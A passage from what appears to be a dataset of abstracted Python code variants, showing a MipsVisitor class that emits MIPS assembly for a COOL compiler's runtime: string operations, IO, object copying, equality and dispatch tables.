_index_negative')\n self.write_file(f'add $a2 $a1 $a2')\n self.write_file(f'lw $a3 12($t5)')\n self.write_file(f'lw $a3 12($a3)')\n self.write_file(f'bgt $a2 $a3 _index_out')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file(f'move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file(f'move $t0 $v0')\n self.write_file(f'move $t7 $a2')\n self.write_file(f'subu $t7 $t7 $a1')\n self.write_file(f'sw $t7 12($t0)')\n self.allocate_memory('$a2', register=True)\n self.write_file(f'sw $t0 12($v1)')\n self.write_file(f'sw $v0 16($v1)')\n self.write_file('move $t1 $v0')\n self.write_file('lw $t5 16($t5)')\n self.write_file('move $t4 $t5')\n self.write_file('addu $t4 $t4 $a1')\n self.write_file('addu $t5 $t5 $a2')\n self.write_file('_substr_copy_:', tabbed=False)\n self.write_file('bge $t4 $t5 _end_substr_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t1)')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _substr_copy_')\n self.write_file(f'_index_negative:', tabbed=False)\n self.write_file(f'la $a0 _index_negative_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_index_out:', tabbed=False)\n self.write_file(f'la $a0 _index_out_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_subst_abort:', tabbed=False)\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file('la\\t$a0 _abort_msg')\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file(f'li $v0 10')\n self.write_file(f'syscall')\n self.write_file('_end_substr_copy_:', tabbed=False)\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n\n def io_in_string(self):\n self.write_file('function_IO_in_string:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('sw $v1 12($v0)')\n self.write_file('move $t5 $v0')\n self.write_file('la $a0 str_buffer')\n self.write_file('li $a1 1025')\n self.write_file('li $v0 8')\n self.write_file('syscall')\n self.write_file('move $a0 $0')\n self.write_file('la $t2 str_buffer')\n self.write_file('_in_string_str_len_:', tabbed=False)\n self.write_file('lb $t0 0($t2)')\n self.write_file('beq $t0 $0 _end_in_string_str_len_')\n self.write_file('beq $t0 10 _end_in_string_str_len_')\n self.write_file('addiu $a0 $a0 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _in_string_str_len_')\n self.write_file('_end_in_string_str_len_:', tabbed=False)\n self.write_file('sw $a0 12($v1)')\n self.allocate_memory()\n self.write_file('la $t4 str_buffer')\n self.write_file('move $t1 $v0')\n self.write_file('_in_str_copy_:', tabbed=False)\n self.write_file('lb $t0 0($t4)')\n self.write_file('beq $t0 $0 _end_in_str_copy_')\n self.write_file('beq $t0 10 _end_in_str_copy_')\n self.write_file('sb $t0 0($t1)')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('j _in_str_copy_')\n self.write_file('_end_in_str_copy_:', tabbed=False)\n self.write_file('sw $v0 16($t5)')\n self.write_file('la $t4 str_buffer')\n self.write_file('_in_str_clean_:', tabbed=False)\n self.write_file('lb $t0 0($t4)')\n self.write_file('beq $t0 $0 _end_in_str_clean_')\n self.write_file('sb $0 0($t4)')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _in_str_clean_')\n self.write_file('_end_in_str_clean_:', tabbed=False)\n self.write_file('move $v0 $t5')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_out_int(self):\n self.write_file('function_IO_out_int:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 12($a0)')\n self.write_file('li $v0 1')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_out_string(self):\n self.write_file('function_IO_out_string:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 16($a0)')\n self.write_file('li $v0 4')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n\n def isvoid(self):\n self.write_file(f'function_{ISVOID_FUNC}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=BOOLEAN_CLASS))\n self.write_file(f'lw $t0 12($fp)')\n self.write_file(f'la $t1 {VOID_MIPS_NAME}')\n self.write_file(f'beq $t0 $t1 _is_void_true_')\n self.write_file(f'sw $0 12($v0)')\n self.write_file(f'j _is_void_end_')\n self.write_file(f'_is_void_true_:', tabbed=False)\n self.write_file(f'li $t0 1')\n self.write_file(f'sw $t0 12($v0)')\n self.write_file(f'_is_void_end_:', tabbed=False)\n self.write_file(f'jr $ra')\n self.write_file(f'')\n",
"<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n <docstring token>\n\n def __init__(self, inherit_graph, output_file='mips_code.mips'):\n self.inherit_graph, _ = inherit_graph\n self.offset = dict()\n self.type_index = []\n self.dispatchtable_code = []\n self.prototypes_code = []\n self.cur_labels_id = 0\n self.output_file = output_file\n <function token>\n <function token>\n\n def write_file(self, msg, mode='a', tabbed=True):\n f = open(self.output_file, mode)\n f.write('{}{}\\n'.format('\\t' if tabbed else '', msg))\n f.close()\n\n def allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n <function token>\n <function token>\n\n @visitor.when(cil.Program)\n def visit(self, node: cil.Program):\n self.write_file('', 'w')\n self.write_file('.data', tabbed=False)\n self.static_datas()\n for data in node.data_section:\n self.visit(data)\n self.write_file('')\n for i in range(len(node.type_section)):\n self.type_index.append(node.type_section[i].type_name)\n self.write_file('classname_{}: .asciiz \"{}\"'.format(node.\n type_section[i].type_name, node.type_section[i].type_name))\n self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')\n self.write_file('\\n.text')\n self.entry()\n self.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n self.conforms()\n self.isvoid()\n self.object_abort()\n self.object_copy()\n self.object_typename()\n self.string_length()\n self.string_concat()\n self.string_substr()\n self.io_in_int()\n self.io_in_string()\n self.io_out_int()\n self.io_out_string()\n for t in node.type_section:\n self.visit(t)\n self.write_file('\\n############## TABLES ################\\n')\n self.write_file('function_build_class_name_table:', tabbed=False)\n self.allocate_memory(len(node.type_section) * 4)\n self.write_file('move $s1 $v0')\n for i in range(len(node.type_section)):\n self.write_file('la $t1 classname_{}'.format(node.type_section[\n i].type_name))\n self.write_file('sw $t1 {}($s1)'.format(4 * i))\n self.write_file('')\n self.write_file('function_allocate_prototypes_table:', tabbed=False)\n self.allocate_memory(8 * len(self.type_index))\n self.write_file('move $s0 $v0')\n self.write_file('')\n self.write_file('function_build_prototypes:', tabbed=False)\n for ins in self.prototypes_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_dispatch_tables:', tabbed=False)\n for ins in self.dispatchtable_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_class_parents_table:', tabbed=False)\n self.allocate_memory(4 * len(self.type_index))\n self.write_file('move $s2 $v0')\n self.write_file('')\n for parent in self.inherit_graph.keys():\n p_index = self.type_index.index(parent)\n for child in self.inherit_graph[parent]:\n ch_index = self.type_index.index(child.name)\n self.write_file(f'li $t0 {ch_index}')\n self.write_file(f'mul $t0 $t0 4')\n self.write_file(f'add $t0 $t0 $s2')\n self.write_file(f'li $t1 {p_index}')\n self.write_file(f'sw $t1 0($t0)')\n self.write_file('')\n self.write_file('')\n self.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n for func in node.code_section:\n is_built_in = False\n if not INIT_CIL_SUFFIX in func.name:\n is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in\n func.name] != []\n if not is_built_in:\n self.visit(func)\n self.write_file('\\n#####################################\\n')\n <function token>\n\n @visitor.when(cil.Type)\n def visit(self, node: cil.Type):\n self.dispatchtable_code.append(f'# Type {node.type_name}')\n self.dispatchtable_code.append('li $a0 {}'.format(4 * len(node.\n methods)))\n self.dispatchtable_code.append('li $v0 9')\n self.dispatchtable_code.append('syscall')\n for i in range(len(node.methods)):\n self.dispatchtable_code.append('la $t1 function_{}'.format(node\n .methods[i].function_name))\n self.dispatchtable_code.append('sw $t1 {}($v0)'.format(4 * i))\n self.dispatchtable_code.append('lw $t0 {}($s0)'.format(8 * self.\n type_index.index(node.type_name)))\n self.dispatchtable_code.append('sw $v0 8($t0)')\n self.dispatchtable_code.append('')\n self.prototypes_code.append(f'# Type {node.type_name}')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('li $v0 9')\n self.prototypes_code.append('syscall')\n class_index = self.type_index.index(node.type_name)\n self.prototypes_code.append('li $a0 {}'.format(class_index))\n self.prototypes_code.append('sw $a0 0($v0)')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('sw $a0 4($v0)')\n self.prototypes_code.append('sw $v0 {}($s0)'.format(8 * class_index))\n self.prototypes_code.append('')\n <function token>\n\n @visitor.when(cil.Assign)\n def visit(self, node: cil.Assign):\n self.write_file('# ASSIGN')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.source]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n <function token>\n <function token>\n\n @visitor.when(cil.Mult)\n def visit(self, node: cil.Mult):\n self.write_file('# *')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file('mul $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n <function token>\n\n @visitor.when(cil.Equal)\n def visit(self, node: cil.Equal):\n self.write_file('lw $t0 {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $t1 {}($fp)'.format(self.offset[node.right]))\n self.write_file(f'beq $t0 $zero _eq_false_{node.id}_')\n self.write_file(f'beq $t1 $zero _eq_false_{node.id}_')\n self.write_file('lw $a0 0($t0)')\n self.write_file('lw $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n INTEGER_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n BOOLEAN_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(STRING_CLASS))\n )\n self.write_file(f'bne $a0 $a2 _not_basic_type_{node.id}_')\n self.write_file(f'_eq_str_{node.id}_:', tabbed=False)\n self.write_file('lw\\t$t3 12($t0)')\n self.write_file('lw\\t$t3 12($t3)')\n self.write_file('lw\\t$t4, 12($t1)')\n self.write_file('lw\\t$t4, 12($t4)')\n self.write_file(f'bne $t3 $t4 _eq_false_{node.id}_')\n self.write_file(f'beq $t3 $0 _eq_true_{node.id}_')\n self.write_file('addu $t0 $t0 16')\n self.write_file('lw $t0 0($t0)')\n self.write_file('addu $t1 $t1 16')\n self.write_file('lw $t1 0($t1)')\n self.write_file('move $t2 $t3')\n self.write_file(f'_verify_ascii_sequences_{node.id}_:', tabbed=False)\n self.write_file('lb $a0 0($t0)')\n self.write_file('lb $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('addu $t0 $t0 1')\n self.write_file('addu $t1 $t1 1')\n self.write_file('addiu $t2 $t2 -1')\n self.write_file(f'bnez $t2 _verify_ascii_sequences_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_not_basic_type_{node.id}_:', tabbed=False)\n self.write_file(f'bne $t0 $t1 _eq_false_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_eq_int_bool_{node.id}:', tabbed=False)\n self.write_file('lw $a3 12($t0)')\n self.write_file('lw $t4 12($t1)')\n self.write_file(f'bne $a3 $t4 _eq_false_{node.id}_')\n self.write_file(f'_eq_true_{node.id}_:', tabbed=False)\n self.write_file('li $a0 1')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'b end_equal_{node.id}_')\n self.write_file(f'_eq_false_{node.id}_:', tabbed=False)\n self.write_file('li $a0 0')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'end_equal_{node.id}_:', tabbed=False)\n <function token>\n\n @visitor.when(cil.EqualOrLessThan)\n def visit(self, node: cil.EqualOrLessThan):\n self.write_file('# <=')\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sle $a0, $a1, $a2'.format(self.offset[node.right]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.GetAttrib)\n def visit(self, node: cil.GetAttrib):\n self.write_file('# GETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.SetAttrib)\n def visit(self, node: cil.SetAttrib):\n self.write_file('# SETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n if isinstance(node.src, int):\n self.write_file(f'li $a0, {node.src}')\n elif node.src[:5] == 'data_':\n self.write_file(f'la $a0, {node.src}')\n else:\n self.write_file(f'lw $a0 {self.offset[node.src]}($fp)')\n self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file('')\n\n @visitor.when(cil.TypeOf)\n def visit(self, node: cil.TypeOf):\n self.write_file('# TYPEOF')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 0($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.Allocate)\n def visit(self, node: cil.Allocate):\n self.write_file('# ALLOCATE')\n if node.ttype == VOID_TYPE:\n self.write_file(f'la $v0 {VOID_MIPS_NAME}')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n else:\n offset_proto = self.type_index.index(node.ttype) * 8\n self.write_file('lw $t0 {}($s0)'.format(offset_proto))\n self.write_file('sw $t0, 0($sp)')\n self.write_file('addiu $sp, $sp, -4')\n self.write_file('')\n self.visit(cil.Call(dest=node.dest, f='Object_copy'))\n self.write_file('addiu $sp, $sp, 4')\n self.write_file('')\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.VCall)\n def visit(self, node: cil.VCall):\n self.write_file('# VCALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n if node.ttype[0] == '_':\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n else:\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n self.write_file(f'mulu $a2, $a2, 8')\n self.write_file(f'addu $a2, $a2, $s0')\n self.write_file(f'lw $a1, 0($a2)')\n self.write_file(f'lw $a2, 8($a1)')\n self.write_file(f'lw $a0 {node.f * 4}($a2)')\n self.write_file(f'jalr $a0')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n if node.ttype[0] != '_':\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n else:\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.PushParam)\n def visit(self, node: cil.PushParam):\n self.write_file('# PUSHPARAM')\n if node.name[0] != '_':\n self.write_file('li $a0, {}'.format(self.type_index.index(node.\n name)))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.name]))\n self.push()\n self.write_file('')\n\n @visitor.when(cil.PopParam)\n def visit(self, node: cil.PopParam):\n self.write_file('# POPPARAM')\n self.pop(node.name)\n self.write_file('')\n\n @visitor.when(cil.Return)\n def visit(self, node: cil.Return):\n self.write_file('# RETURN')\n self.write_file('lw $v0, {}($fp)'.format(self.offset[node.value]))\n\n @visitor.when(cil.Label)\n def visit(self, node: cil.Label):\n self.write_file('_cil_label_{}:'.format(node.name), tabbed=False)\n\n @visitor.when(cil.Goto)\n def visit(self, node: cil.Goto):\n self.write_file('# GOTO')\n self.write_file('j _cil_label_{}'.format(node.label))\n self.write_file('')\n <function token>\n <function token>\n <function token>\n <function token>\n\n def object_copy(self):\n self.write_file('function_Object_copy:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $t0 12($fp)')\n self.write_file('lw $a0 4($t0)')\n self.write_file('move $t4 $a0')\n self.write_file('li $v0 9')\n self.write_file('syscall')\n self.write_file('move $t2 $v0')\n self.write_file('li $t3 0')\n self.write_file('_objcopy_loop:', tabbed=False)\n self.write_file('lw $t1 0($t0)')\n self.write_file('sw $t1 0($v0)')\n self.write_file('addiu $t0 $t0 4')\n self.write_file('addiu $v0 $v0 4')\n self.write_file('addiu $t3 $t3 4')\n self.write_file('ble $t4 $t3 _objcopy_loop')\n self.write_file('_objcopy_div_end_:', tabbed=False)\n self.write_file('move $v0 $t2')\n self.write_file('jr $ra')\n self.write_file('')\n\n def object_typename(self):\n self.write_file('function_Object_type_name:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a1 0($a1)')\n self.write_file('mulu $a1 $a1 4')\n self.write_file('addu $a1 $a1 $s1')\n self.write_file('lw $a1 0($a1)')\n self.write_file('move $a2 $0')\n self.write_file('move $t2 $a1')\n self.write_file('_str_len_clsname_:', tabbed=False)\n self.write_file('lb $a0 0($t2)')\n self.write_file('beq $a0 $0 _end_clsname_len_')\n self.write_file('addiu $a2 $a2 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _str_len_clsname_')\n self.write_file('_end_clsname_len_:', tabbed=False)\n self.write_file('sw $a2, 12($v0)')\n self.write_file('sw $v0, 12($v1)')\n self.write_file('sw $a1, 16($v1)')\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_length(self):\n self.write_file('function_String_length:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 12($fp)')\n self.write_file('lw $v0 12($a0)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_concat(self):\n self.write_file('function_String_concat:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $t3 $v0')\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a2 16($fp)')\n self.write_file('lw $t1 12($a1)')\n self.write_file('lw $t1 12($t1)')\n self.write_file('lw $t2 12($a2)')\n self.write_file('lw $t2 12($t2)')\n self.write_file('addu $t0 $t2 $t1')\n self.write_file('sw $t0 12($v1)')\n self.write_file('lw $a1 16($a1)')\n self.write_file('lw $a2 16($a2)')\n self.write_file('addiu $t0 $t0 1')\n self.allocate_memory('$t0', register=True)\n self.write_file('move $t5 $v0')\n self.write_file('move $t4 $a1')\n self.write_file('addu $a1 $a1 $t1')\n self.write_file('_strcat_copy_:', tabbed=False)\n self.write_file('beq $t4 $a1 _end_strcat_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_')\n self.write_file('_end_strcat_copy_:', tabbed=False)\n self.write_file('move $t4 $a2')\n self.write_file('addu $a2 $a2 $t2')\n self.write_file('_strcat_copy_snd_:', tabbed=False)\n self.write_file('beq $t4 $a2 _end_strcat_copy_snd_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_snd_')\n self.write_file('_end_strcat_copy_snd_:', tabbed=False)\n self.write_file('sb $0 0($t5)')\n self.write_file('sw $v1 12($t3)')\n self.write_file('sw $v0 16($t3)')\n self.write_file('move $v0 $t3')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_substr(self):\n self.write_file('function_String_substr:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t5 12($fp)')\n self.write_file(f'lw $a1 16($fp)')\n self.write_file(f'lw $a1 12($a1)')\n self.write_file(f'lw $a2 20($fp)')\n self.write_file(f'lw $a2 12($a2)')\n self.write_file(f'blt $a1 $0 _index_negative')\n self.write_file(f'blt $a2 $0 _index_negative')\n self.write_file(f'add $a2 $a1 $a2')\n self.write_file(f'lw $a3 12($t5)')\n self.write_file(f'lw $a3 12($a3)')\n self.write_file(f'bgt $a2 $a3 _index_out')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file(f'move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file(f'move $t0 $v0')\n self.write_file(f'move $t7 $a2')\n self.write_file(f'subu $t7 $t7 $a1')\n self.write_file(f'sw $t7 12($t0)')\n self.allocate_memory('$a2', register=True)\n self.write_file(f'sw $t0 12($v1)')\n self.write_file(f'sw $v0 16($v1)')\n self.write_file('move $t1 $v0')\n self.write_file('lw $t5 16($t5)')\n self.write_file('move $t4 $t5')\n self.write_file('addu $t4 $t4 $a1')\n self.write_file('addu $t5 $t5 $a2')\n self.write_file('_substr_copy_:', tabbed=False)\n self.write_file('bge $t4 $t5 _end_substr_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t1)')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _substr_copy_')\n self.write_file(f'_index_negative:', tabbed=False)\n self.write_file(f'la $a0 _index_negative_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_index_out:', tabbed=False)\n self.write_file(f'la $a0 _index_out_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_subst_abort:', tabbed=False)\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file('la\\t$a0 _abort_msg')\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file(f'li $v0 10')\n self.write_file(f'syscall')\n self.write_file('_end_substr_copy_:', tabbed=False)\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n\n def io_in_string(self):\n self.write_file('function_IO_in_string:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('sw $v1 12($v0)')\n self.write_file('move $t5 $v0')\n self.write_file('la $a0 str_buffer')\n self.write_file('li $a1 1025')\n self.write_file('li $v0 8')\n self.write_file('syscall')\n self.write_file('move $a0 $0')\n self.write_file('la $t2 str_buffer')\n self.write_file('_in_string_str_len_:', tabbed=False)\n self.write_file('lb $t0 0($t2)')\n self.write_file('beq $t0 $0 _end_in_string_str_len_')\n self.write_file('beq $t0 10 _end_in_string_str_len_')\n self.write_file('addiu $a0 $a0 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _in_string_str_len_')\n self.write_file('_end_in_string_str_len_:', tabbed=False)\n self.write_file('sw $a0 12($v1)')\n self.allocate_memory()\n self.write_file('la $t4 str_buffer')\n self.write_file('move $t1 $v0')\n self.write_file('_in_str_copy_:', tabbed=False)\n self.write_file('lb $t0 0($t4)')\n self.write_file('beq $t0 $0 _end_in_str_copy_')\n self.write_file('beq $t0 10 _end_in_str_copy_')\n self.write_file('sb $t0 0($t1)')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('j _in_str_copy_')\n self.write_file('_end_in_str_copy_:', tabbed=False)\n self.write_file('sw $v0 16($t5)')\n self.write_file('la $t4 str_buffer')\n self.write_file('_in_str_clean_:', tabbed=False)\n self.write_file('lb $t0 0($t4)')\n self.write_file('beq $t0 $0 _end_in_str_clean_')\n self.write_file('sb $0 0($t4)')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _in_str_clean_')\n self.write_file('_end_in_str_clean_:', tabbed=False)\n self.write_file('move $v0 $t5')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_out_int(self):\n self.write_file('function_IO_out_int:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 12($a0)')\n self.write_file('li $v0 1')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_out_string(self):\n self.write_file('function_IO_out_string:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 16($a0)')\n self.write_file('li $v0 4')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n\n def isvoid(self):\n self.write_file(f'function_{ISVOID_FUNC}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=BOOLEAN_CLASS))\n self.write_file(f'lw $t0 12($fp)')\n self.write_file(f'la $t1 {VOID_MIPS_NAME}')\n self.write_file(f'beq $t0 $t1 _is_void_true_')\n self.write_file(f'sw $0 12($v0)')\n self.write_file(f'j _is_void_end_')\n self.write_file(f'_is_void_true_:', tabbed=False)\n self.write_file(f'li $t0 1')\n self.write_file(f'sw $t0 12($v0)')\n self.write_file(f'_is_void_end_:', tabbed=False)\n self.write_file(f'jr $ra')\n self.write_file(f'')\n",
"<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n <docstring token>\n\n def __init__(self, inherit_graph, output_file='mips_code.mips'):\n self.inherit_graph, _ = inherit_graph\n self.offset = dict()\n self.type_index = []\n self.dispatchtable_code = []\n self.prototypes_code = []\n self.cur_labels_id = 0\n self.output_file = output_file\n <function token>\n <function token>\n\n def write_file(self, msg, mode='a', tabbed=True):\n f = open(self.output_file, mode)\n f.write('{}{}\\n'.format('\\t' if tabbed else '', msg))\n f.close()\n\n def allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n <function token>\n <function token>\n\n @visitor.when(cil.Program)\n def visit(self, node: cil.Program):\n self.write_file('', 'w')\n self.write_file('.data', tabbed=False)\n self.static_datas()\n for data in node.data_section:\n self.visit(data)\n self.write_file('')\n for i in range(len(node.type_section)):\n self.type_index.append(node.type_section[i].type_name)\n self.write_file('classname_{}: .asciiz \"{}\"'.format(node.\n type_section[i].type_name, node.type_section[i].type_name))\n self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')\n self.write_file('\\n.text')\n self.entry()\n self.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n self.conforms()\n self.isvoid()\n self.object_abort()\n self.object_copy()\n self.object_typename()\n self.string_length()\n self.string_concat()\n self.string_substr()\n self.io_in_int()\n self.io_in_string()\n self.io_out_int()\n self.io_out_string()\n for t in node.type_section:\n self.visit(t)\n self.write_file('\\n############## TABLES ################\\n')\n self.write_file('function_build_class_name_table:', tabbed=False)\n self.allocate_memory(len(node.type_section) * 4)\n self.write_file('move $s1 $v0')\n for i in range(len(node.type_section)):\n self.write_file('la $t1 classname_{}'.format(node.type_section[\n i].type_name))\n self.write_file('sw $t1 {}($s1)'.format(4 * i))\n self.write_file('')\n self.write_file('function_allocate_prototypes_table:', tabbed=False)\n self.allocate_memory(8 * len(self.type_index))\n self.write_file('move $s0 $v0')\n self.write_file('')\n self.write_file('function_build_prototypes:', tabbed=False)\n for ins in self.prototypes_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_dispatch_tables:', tabbed=False)\n for ins in self.dispatchtable_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_class_parents_table:', tabbed=False)\n self.allocate_memory(4 * len(self.type_index))\n self.write_file('move $s2 $v0')\n self.write_file('')\n for parent in self.inherit_graph.keys():\n p_index = self.type_index.index(parent)\n for child in 